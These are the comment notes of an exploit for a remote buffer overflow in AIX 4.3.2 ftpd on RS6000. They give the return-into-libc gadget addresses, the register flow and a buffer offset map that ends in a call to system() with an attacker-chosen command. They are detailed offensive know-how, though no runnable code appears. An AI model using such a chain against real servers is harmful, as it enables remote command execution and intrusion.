# * Description:
#
# Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an
# RS6000. (power)
# This is an return into libc exploit specificly crafted for
# one box and it is very unlikely to work on another box

# * Comments:
#
# A full working exploit will be released later on.
# The addresses point to positions in the program or libraries,
# only the relevant instructions are shown also note that b r0
# is in fact something like mfsbr r0, bsbr or what that is in
# RS6000 assembly.
#
# The final call is to system which needs the following arguments:
# r3 = address of command to execute
# r2 = TOC (what is TOC anyway), I don't know if it does matter but
#      we set it anyway (we can so why not do it)
# r1 = SP but this is ok already,
# the rest is free so it seems.
#
# Our route:
# 0x10010150: sets r2 to a place in the buffer and jumps to 0x10015228
# 0x10015228: loads r12 with a value from our buffera
#             loads r0 with the next address to jump to (0x1001038c)
#             and sets r2 to another place in our buffer
# 0x1001038c: sets r3 to a place in the buffer (finally!)
#             sets r0 to next address to jump to (0xd00406d4, system(...))
#
# The flow with registers is thus:
# r2 = 0x14(r1)
# r12 = 0x110(r2)
# r0 = 0x0(r12)
# r2 = 0x4(r12)
# r3 = 0x40(r1)
# r12 = 0x3c(r2)
# 0x14(r1) = r12 this is  the plave where TOC is stored but it doesn't seem
#            to matter
# r0 = 0x0(12)
# r2 = 0x04(r12)
# and of we go...
#
# We set:
# $buf =  the buffer on the stack $buf[0] is the first byte in the buffer
# but we will count offsets from 4 (the first 4 bytes is just "CEL " is
# doesn't matter, only the space does (it makes sure the rest of the buffer)
# stays the way it is and isn't converted into lower case
#
# Offsets:
# 0x000: 0x1001038c
# 0x004: buf[0]
# 0x008: this is the place where the address of the systemcall is taken from
#        0xd00406d4 in our case# 0x00c: thi is the address where r2 is
loaded
#        from just before the call to
#        system(..) we set it to the TOC in our program we don't know if it
#        matters and if the TOC is constant between hosts
# 0x03c: buf[08]
# 0x110: buf[0]
# 0x204: return address (0x10010150)
# 0x210: buf[0]
# 0x23c: buf[0x240]
# 0x240: "/tmp/sh" or whatever command you want to execute
# r1 points to buf[0x1fc]
#
# I assume the positions in the libraries/program are fixed and that TOC
# either doesn't matter or is fixed to please enlighten me on these topics.
